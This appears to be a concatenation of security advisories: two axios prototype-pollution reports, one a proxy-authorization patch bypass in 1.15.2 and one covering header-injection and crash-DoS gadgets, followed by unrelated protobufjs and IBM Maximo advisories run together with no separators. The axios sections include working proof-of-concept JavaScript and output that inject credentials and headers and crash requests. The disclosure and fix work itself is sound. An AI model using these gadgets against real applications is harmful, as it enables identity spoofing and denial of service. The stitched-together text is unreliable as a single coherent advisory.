[Patch Bypass] Proxy-Authorization Header Injection via Prototype Pollution — Incomplete Null-Prototype Fix in Axios 1.15.2
Summary
The Object.create(null) fix introduced in Axios 1.15.2 (GHSA-q8qp-cvcw-x6jj) protects the top-level config object from prototype pollution. However, nested objects created by utils.merge() (e.g., config.proxy) are still constructed as plain {} with Object.prototype in their chain.
The setProxy() function at lib/adapters/http.js:209-223 reads proxy.username, proxy.password, and proxy.auth without hasOwnProperty checks. When Object.prototype.username is polluted, setProxy() constructs a Proxy-Authorization header with attacker-controlled credentials and injects it into every proxied HTTP request.
Severity: Medium (CVSS 5.4) Affected Versions: 1.15.2 (and potentially 1.15.1) Vulnerable Component: lib/adapters/http.js (setProxy()) + lib/utils.js (merge())
CWE
- CWE-1321: Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution') - CWE-113: Improper Neutralization of CRLF Sequences in HTTP Headers ('HTTP Response Splitting')
CVSS 3.1
Score: 5.6 (Medium)
Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:L
| Metric | Value | Justification | |---|---|---| | Attack Vector | Network | PP triggered remotely via vulnerable dependency | | Attack Complexity | High | Requires two preconditions: (1) PP in dependency tree, AND (2) the application must explicitly configure config.proxy. Unlike GHSA-q8qp-cvcw-x6jj which affected all requests unconditionally | | Privileges Required | None | No authentication needed | | User Interaction | None | No user interaction required | | Scope | Unchanged | Within the proxy authentication context | | Confidentiality | Low | Attacker-controlled identity appears in proxy authentication logs, but the attacker does NOT see request/response data (unlike config.baseURL hijack) | | Integrity | Low | Proxy-Authorization header injected; proxy may apply different access policies based on injected identity | | Availability | Low | If proxy rejects the injected credentials, legitimate requests may fail |
Why This Is Lower Severity Than GHSA-q8qp-cvcw-x6jj (7.4 High)
| Factor | GHSA-q8qp-cvcw-x6jj | This Finding | |---|---|---| | Precondition | None — all requests affected | Must have config.proxy set | | config.baseURL PP | Hijacks all relative URL requests | Not applicable | | config.auth PP | Injects Authorization to target server | Only injects Proxy-Authorization to proxy | | Attacker sees traffic | Yes (via baseURL redirect) | No — only proxy identity affected | | Impact scope | Universal — every axios request | Only requests with explicit proxy config |
This Is a Patch Bypass
This vulnerability bypasses the fix introduced in Axios 1.15.2 for GHSA-q8qp-cvcw-x6jj. The fix correctly uses Object.create(null) for the config object, blocking direct prototype pollution on config.proxy, config.auth, etc.
However, the fix is incomplete: when a user legitimately sets config.proxy = { host: 'proxy.corp', port: 8080 }, the mergeConfig() function passes this object through utils.merge(), which creates a new plain {} object (lib/utils.js:406: const result = {};). This new object inherits from Object.prototype, re-opening the prototype pollution attack surface on the nested proxy object.
| Layer | Protection | Status | |---|---|---| | config (top-level) | Object.create(null) | ✓ Fixed | | config.proxy (nested) | utils.merge() → const result = {} | ✗ NOT Fixed | | setProxy() reads | proxy.username, proxy.auth without hasOwnProperty | ✗ NOT Fixed |
Root Cause Analysis
Step 1: utils.merge() creates plain {} for nested objects
File: lib/utils.js, line 406
javascript function merge(/ obj1, obj2, obj3, ... /) { const result = {}; // ← Plain object with Object.prototype! // ... }
When mergeConfig() processes config.proxy, getMergedValue() calls utils.merge(), which creates a plain {} for the nested object. This plain object inherits from Object.prototype.
Step 2: setProxy() reads proxy properties without hasOwnProperty
File: lib/adapters/http.js, lines 209-223
javascript function setProxy(options, configProxy, location) { let proxy = configProxy; // ... if (proxy) { if (proxy.username) { // ← traverses Object.prototype! proxy.auth = (proxy.username || '') + ':' + (proxy.password || ''); }
if (proxy.auth) { // ← traverses Object.prototype! const validProxyAuth = Boolean(proxy.auth.username || proxy.auth.password); if (validProxyAuth) { proxy.auth = (proxy.auth.username || '') + ':' + (proxy.auth.password || ''); } // ... const base64 = Buffer.from(proxy.auth, 'utf8').toString('base64'); options.headers['Proxy-Authorization'] = 'Basic ' + base64; // ← INJECTED! } // ... } }
Complete Attack Chain
Object.prototype.username = 'attacker' Object.prototype.password = 'stolen-creds' │ ▼ User config: { proxy: { host: 'proxy.corp', port: 8080 } } │ ▼ mergeConfig() → utils.merge() → new plain {} config.proxy = { host: 'proxy.corp', port: 8080 } (own properties) config.proxy inherits from Object.prototype (has .username, .password) │ ▼ setProxy() at http.js:209: proxy.username → 'attacker' (from Object.prototype) → truthy! proxy.auth = 'attacker' + ':' + 'stolen-creds' │ ▼ http.js:223: Proxy-Authorization: Basic YXR0YWNrZXI6c3RvbGVuLWNyZWRz Injected into EVERY proxied HTTP request!
Proof of Concept
javascript import http from 'http'; import axios from './index.js';
// Proxy server logs received Proxy-Authorization const proxyServer = http.createServer((req, res) => { console.log('Proxy-Authorization:', req.headers['proxy-authorization']); res.writeHead(200); res.end('OK'); }); await new Promise(r => proxyServer.listen(0, r)); const proxyPort = proxyServer.address().port;
// Target server const target = http.createServer((req, res) => { res.writeHead(200); res.end(); }); await new Promise(r => target.listen(0, r));
// Simulate prototype pollution from vulnerable dependency Object.prototype.username = 'attacker'; Object.prototype.password = 'stolen-creds';
// Developer sets proxy WITHOUT auth — expects no auth header await axios.get(http://127.0.0.1:${target.address().port}/api, { proxy: { host: '127.0.0.1', port: proxyPort, protocol: 'http' }, });
// Proxy receives: Proxy-Authorization: Basic YXR0YWNrZXI6c3RvbGVuLWNyZWRz // Decoded: attacker:stolen-creds
delete Object.prototype.username; delete Object.prototype.password; proxyServer.close(); target.close();
Reproduction Environment
Axios version: 1.15.2 (latest patched release) Node.js version: v20.20.2 OS: macOS Darwin 25.4.0
Reproduction Steps
bash 1. Install axios 1.15.2 npm pack axios@1.15.2 tar xzf axios-1.15.2.tgz && mv package axios-1.15.2 cd axios-1.15.2 && npm install
2. Save PoC as poc.mjs (code from Section 7 above)
3. Run node poc.mjs
Verified PoC Output
=== Axios 1.15.2: PP → Proxy-Authorization Injection ===
[1] Normal request with proxy (no auth): Proxy-Authorization: none
[2] Prototype Pollution: Object.prototype.username = "attacker" Proxy-Authorization: Basic YXR0YWNrZXI6c3RvbGVuLWNyZWRz Decoded: attacker:stolen-creds → PP injected proxy credentials: attacker:stolen-creds
[3] Impact: ✗ Attacker injects Proxy-Authorization into all proxied requests ✗ If proxy logs auth, attacker credential appears in proxy logs ✗ If proxy authenticates based on this, attacker controls proxy identity ✗ Works on 1.15.2 despite null-prototype config fix ✗ Root cause: proxy object is plain {} from utils.merge, NOT null-prototype
Confirming the Bypass Mechanism
Direct PP (config.proxy) — BLOCKED by 1.15.2: Object.prototype.proxy = { host: 'evil' } config.proxy = undefined ← null-prototype blocks ✓
Nested PP (proxy.username) — BYPASSES 1.15.2: Object.prototype.username = 'attacker' config.proxy = { host: 'legit', port: 8080 } ← user-set, own properties config.proxy own keys: ['host', 'port'] ← username NOT own config.proxy.username = 'attacker' ← inherited from Object.prototype! hasOwn(config.proxy, 'username') = false
Impact Analysis
- Proxy Identity Spoofing: The injected Proxy-Authorization header authenticates all requests to the proxy as the attacker. If the proxy enforces authentication-based access control or logging, the attacker controls the identity. - Proxy Log Poisoning: Proxy servers that log authenticated usernames will record "attacker" instead of the real user, enabling audit trail manipulation. - Credential Injection Amplification: If the proxy forwards the Proxy-Authorization header upstream (some transparent proxies do), the attacker's credentials propagate through the proxy chain. - Universal Scope When Proxy Is Configured: Affects every axios request that uses a proxy configuration without explicit auth — a common pattern in corporate environments.
Prerequisite
- Application must use config.proxy (explicit proxy configuration) - A separate prototype pollution vulnerability must exist in the dependency tree - Object.prototype.username or Object.prototype.auth must be polluted
Recommended Fix
Fix 1: Use hasOwnProperty in setProxy()
javascript function setProxy(options, configProxy, location) { let proxy = configProxy; // ... if (proxy) { const hasOwn = (obj, key) => Object.prototype.hasOwnProperty.call(obj, key);
if (hasOwn(proxy, 'username')) { proxy.auth = (proxy.username || '') + ':' + (proxy.password || ''); }
if (hasOwn(proxy, 'auth')) { // ... existing auth handling ... } } }
Fix 2: Use null-prototype objects in utils.merge()
javascript // lib/utils.js line 406 function merge(/ obj1, obj2, obj3, ... /) { const result = Object.create(null); // ← null-prototype for nested objects too // ... }
Fix 3 (Comprehensive): Apply null-prototype to all objects created by getMergedValue()
References
- CWE-1321: Prototype Pollution - GHSA-q8qp-cvcw-x6jj: Original PP Gadgets Fix (Axios 1.15.2) - GHSA-fvcv-3m26-pcqx: Related PP Gadget (Axios 1.15.0) - Axios GitHub Repository
Summary
axios 1.15.2 exposes two read-side prototype-pollution gadgets. When Object.prototype is polluted by an upstream dependency in the same process (e.g. lodash .merge / CVE-2018-16487), axios silently picks up the polluted values:
1. Header injection - lib/utils.js line 406 builds merge()'s accumulator as result = {}, so result[targetKey] (line 414) walks Object.prototype and the polluted bucket's own keys are copied into the merged headers and ride out on the wire. 2. Crash DoS - lib/core/mergeConfig.js line 26 builds the hasOwnProperty descriptor as a plain-object literal. Object.defineProperty reads descriptor.get/descriptor.set via the prototype chain, so a polluted Object.prototype.get or Object.prototype.set makes the call throw TypeError synchronously on every axios request.
Affected Properties
| Polluted slot | Effect | |---|---| | Object.prototype.common | injects headers on every method | | Object.prototype.delete / .head / .post / .put / .patch / .query | injects headers on the matching method | | Object.prototype.get | every axios request throws TypeError: Getter must be a function from mergeConfig.js:26 | | Object.prototype.set | every axios request throws TypeError: Setter must be a function from mergeConfig.js:26 |
Per-request headers (axios.request(url, { headers: {...} })) overwrite polluted entries. Polluting Object.prototype.get triggers the crash before any header is built.
Proof of Concept
javascript const axios = require('axios');
// Finding A - header injection Object.prototype.common = { 'X-Poisoned': 'yes' }; await axios.get('http://api.example.com/users'); // Wire request carries X-Poisoned: yes.
// Finding B - crash DoS Object.prototype.get = { something: 'anything' }; await axios.get('http://api.example.com/users'); // TypeError: Getter must be a function: #<Object> // at Function.defineProperty (<anonymous>) // at mergeConfig (lib/core/mergeConfig.js:26:10)
Impact
- Server hang (Content-Length: 99999): receiver waits for a body that never arrives. Affects requests with a body. - CL+TE conflict (Transfer-Encoding: chunked rides alongside axios's auto Content-Length): receiver rejects with 400 Bad Request. Affects requests with a body. - Response suppression (If-None-Match: ): receiver returns empty 304 Not Modified. Affects GET / HEAD. - Crash DoS (Object.prototype.get / .set): every axios request fails synchronously with TypeError, not AxiosError, so handlers filtering on error.isAxiosError mishandle the failure.
Attack Flow
mermaid flowchart TD ROOT["Polluted Object.prototype<br/>via upstream gadget (e.g. lodash <= 4.17.10 .merge / CVE-2018-16487)<br/>axios <= 1.15.2"]
ROOT --> CLASSA["A. Arbitrary HTTP Header Injection<br/>Polluted defaults.headers slot rides along on every outbound axios request"] ROOT --> CLASSB["B. Crash DoS via Object.prototype.get / .set<br/>Polluted descriptor breaks Object.defineProperty in mergeConfig"]
CLASSA --> PREA["Precondition: header not set per-request by the app<br/>Injected via defaults.headers slot<br/>(common, delete, head, post, put, patch, query)"]
PREA --> PA1["Response Suppression<br/>Trigger: common = {If-None-Match: }<br/>Affects GET / HEAD"] PA1 --> SA1["DoS<br/>304 Not Modified empty"]
PREA --> PA2["Server Hang<br/>Trigger: common = {Content-Length: 99999}<br/>Affects requests with body"] PA2 --> SA2["DoS<br/>connection hang"]
PREA --> PA3["CL+TE Conflict<br/>Trigger: common = {Transfer-Encoding: chunked}<br/>Affects requests with body"] PA3 --> SA3["DoS<br/>400 Bad Request"]
CLASSB --> SB1["DoS<br/>TypeError: Getter / Setter must be a function<br/>Crashes every axios request, not only GET"]
%% Styles style ROOT fill:#f87171,stroke:#991b1b,color:#fff style CLASSA fill:#fb923c,stroke:#9a3412,color:#fff style CLASSB fill:#fb923c,stroke:#9a3412,color:#fff style PREA fill:#e2e8f0,stroke:#64748b,color:#1e293b style PA1 fill:#fbbf24,stroke:#92400e,color:#000 style PA2 fill:#fbbf24,stroke:#92400e,color:#000 style PA3 fill:#fbbf24,stroke:#92400e,color:#000 style SA1 fill:#ef4444,stroke:#991b1b,color:#fff style SA2 fill:#ef4444,stroke:#991b1b,color:#fff style SA3 fill:#ef4444,stroke:#991b1b,color:#fff style SB1 fill:#ef4444,stroke:#991b1b,color:#fff
Root Cause
Finding A. lib/utils.js:404-429's merge() creates result = {} at line 406. The dangerous-keys filter on lines 408-411 blocks the write side, but the read at line 414 (isPlainObject(result[targetKey])) still walks the prototype chain. When targetKey matches a polluted slot, result[targetKey] returns the polluted nested object, and the recursive merge(result[targetKey], val) on line 415 iterates that object's own keys via forEach and copies them as own properties into the new accumulator. Those keys flow through mergeConfig.js:35 → Axios.js:148 (utils.merge(headers.common, headers[config.method])) → Axios.js:155 (AxiosHeaders.concat(...)) → onto the wire via http.js:677 (headers: headers.toJSON()) → http.js:767 (transport.request(options, ...)).
Finding B. lib/core/mergeConfig.js:25 correctly makes config = Object.create(null), but the descriptor passed on line 26 is a plain-object literal - its get/set lookups walk Object.prototype. A polluted non-function Object.prototype.get or .set makes Object.defineProperty throw TypeError: Getter must be a function (or Setter must be a function) before the call returns. The descriptor is built unconditionally on every mergeConfig invocation, so every axios request throws - POST, PUT, DELETE, PATCH, HEAD, QUERY, not only GET.
Suggested Fix
Use null-prototype objects in place of the plain-object literals at lib/utils.js:406 and lib/core/mergeConfig.js:26-31. The same descriptor pattern recurs at lib/core/AxiosError.js:37, lib/core/AxiosHeaders.js:100, lib/utils.js:447/454/492/498, and lib/adapters/adapters.js:28/32.
Resources
- CVE-2018-16487 - lodash.merge prototype pollution in lodash <= 4.17.10 - CWE-1321 - Improperly Controlled Modification of Object Prototype Attributes
Summary
protobufjs could recurse without a depth limit while expanding nested JSON descriptors through Root.fromJSON() and Namespace.addJSON().
A crafted JSON descriptor with deeply nested namespace definitions could cause the JavaScript call stack to be exhausted during descriptor loading.
Impact
An attacker who can provide JSON descriptors loaded by an application may be able to crash the process or otherwise cause schema loading to fail with a stack overflow.
This affects applications that load JSON descriptors from untrusted sources with affected versions.
Preconditions
- The application must load JSON descriptor data influenced by an attacker. - The crafted descriptor must contain deeply nested nested namespace objects. - The affected Root.fromJSON() / Namespace.addJSON() descriptor expansion path must process the crafted input.
Workarounds
Avoid loading untrusted protobuf JSON descriptors with affected versions. If immediate upgrade is not possible, reject excessively nested descriptor structures at an outer validation boundary where feasible, or isolate descriptor loading in a process that can be safely restarted.
IBM Maximo Application Suite 9.2, 9.1, and 9.0 does not set the secure attribute on authorization tokens or session cookies. Attackers may be able to get the cookie values by sending a http:// link to a user or by planting this link in a site the user goes to. The cookie will be sent to the insecure link and the attacker can then obtain the cookie value by snooping the traffic.
IBM Maximo Application Suite 9.2, 9.1, and 9.0 could allow a remote attacker to tamper with session data due to the use of a weak HMAC session signing secret.
Summary
protobufjs could recurse without a depth limit while converting decoded messages to plain objects or JSON. This affected generated toObject() conversion and the custom google.protobuf.Any JSON conversion path.
A crafted protobuf binary payload containing deeply nested Any values could cause the JavaScript call stack to be exhausted during conversion to JSON.
Impact
An attacker who can provide protobuf binary data decoded by an application may be able to crash the process or otherwise cause message conversion to fail with a stack overflow.
This affects applications that decode untrusted protobuf input containing google.protobuf.Any values and then convert decoded messages to JSON or plain objects with JSON conversion enabled, for example through JSON.stringify(message), Message#toJSON(), or Type.toObject(message, { json: true }).
Applications that only decode and re-encode protobuf binary data without converting decoded messages to JSON are not directly affected by this issue.
Preconditions
The application must decode protobuf binary data influenced by an attacker. The application schema must include google.protobuf.Any, and the referenced typeurl must resolve to a message type in the loaded protobuf root. The application must convert the decoded message to JSON or a plain object through an affected conversion path. The crafted input must contain deeply nested Any values that are expanded during conversion.
Workarounds
Avoid converting untrusted protobuf messages containing google.protobuf.Any values to JSON with affected versions. If immediate upgrade is not possible, reject or limit messages with deeply nested Any payloads at an outer protocol boundary where feasible, avoid JSON conversion of untrusted Any values, or isolate message conversion in a process that can be safely restarted.
Summary
protobufjs accepted certain schema-derived names that could collide with properties used by protobufjs runtime helpers. The known affected names are fields named hasOwnProperty, field or oneof names such as $type when loaded through protobufjs JSON/reflection descriptors, and service methods whose generated helper name is rpcCall.
When affected message or service types were used, protobufjs could read schema-controlled data where it expected an own-property helper, reflected type metadata, or the base RPC helper. This could cause deterministic exceptions or recursive calls in affected decode post-checks, verification, object conversion, reflected JSON serialization, or protobufjs RPC helper invocation.
Impact
An attacker who can provide or influence protobuf schemas or protobufjs JSON descriptors may be able to make affected message or service types unusable, resulting in denial of service for the affected processing path.
Applications using only trusted schemas are affected only if those schemas contain one of the problematic names and the application reaches the affected API path.
The issue is not known to allow code execution by itself.
Preconditions
The application must use an affected protobufjs version. The application must load or use a schema or protobufjs JSON descriptor containing one of the problematic names: a field named hasOwnProperty, a field or oneof named $type through protobufjs JSON/reflection descriptor input, or a service method whose generated helper name is rpcCall. The application must reach the affected API path for that name: required-field decode post-checks, verify, or toObject for hasOwnProperty; reflected message JSON serialization for $type; or protobufjs RPC service invocation for rpcCall.
Workarounds
Do not load protobuf schemas or protobufjs JSON descriptors from untrusted sources with affected versions. If untrusted schemas or descriptors must be accepted, validate schema-derived field, oneof, and service method names before loading and reject the problematic names described above.
Applications using trusted schemas can avoid the issue by renaming affected fields or service methods, or by avoiding the affected API path.
Summary
protobufjs 8.2.0 added support for preserving unknown fields encountered during binary decode. Affected versions preserved unknown wire elements in message.$unknowns and did not provide a decode-time option to discard unknown fields before retaining them.
A crafted protobuf payload containing many unknown fields could therefore cause a decoded message to retain substantially more memory than the input size would suggest, even when unknown-field round-tripping is not needed. protobufjs 8.5.0 added the relevant decode-time options, allowing applications that decode untrusted protobuf data to disable unknown-field retention during decode. protobufjs 8.6.2 flips the default so unknown fields are discarded unless explicitly opted into.
Impact
An attacker who can provide protobuf binary data decoded by an application using affected protobufjs versions may be able to increase memory pressure by sending messages with many unknown fields. This can degrade availability or contribute to process termination in services that decode and retain attacker-controlled messages.
This issue affects applications that decode untrusted protobuf binary input and do not need unknown-field round-tripping. Applications that only decode trusted protobuf data, already enforce input-size/concurrency limits, or do not retain decoded messages beyond immediate processing are less directly affected.
Preconditions
The application must decode protobuf binary data influenced by an attacker. The decoded schema must not define the attacker-selected field numbers, causing those fields to be treated as unknown. The application must use a protobufjs version that preserves unknown fields but does not provide a decode-time discard option. The decoded message, or enough decoded messages concurrently, must remain live long enough for retained unknown-field data to affect memory usage.
Workarounds
Upgrade to protobufjs 8.5.0 or newer and disable unknown-field preservation if not needed: Create a Reader, set reader.discardUnknown = true, and decode from that reader, or make this the default for subsequently created readers by setting Reader.discardUnknown = true. When upgrading to protobufjs 8.6.2 or newer, unknown fields are discarded by default unless opted into by setting discardUnknown = false.
Applications should also continue to enforce input-size, request concurrency, and request timeout limits at their transport or application boundary.
IBM Maximo Application Suite 9.1, 9.0, 8.11, and 8.10 does not set the secure attribute on authorization tokens or session cookies. Attackers may be able to get the cookie values by sending a http:// link to a user or by planting this link in a site the user goes to. The cookie will be sent to the insecure link and the attacker can then obtain the cookie value by snooping the traffic.
IBM Maximo Application Suite - Monitor Component 9.1, 9.0, 8.11, and 8.10 could allow an unauthorized user to inject data into log messages due to improper neutralization of special elements when written to log files.
IBM Maximo Application Suite 9.0 could allow an attacker with some level of access to elevate their privileges due to a security configuration vulnerability in Role-Based Access Control (RBAC) configurations.
IBM Maximo Application Suite - Monitor Component stores source code on the web server that could aid in further attacks against the system.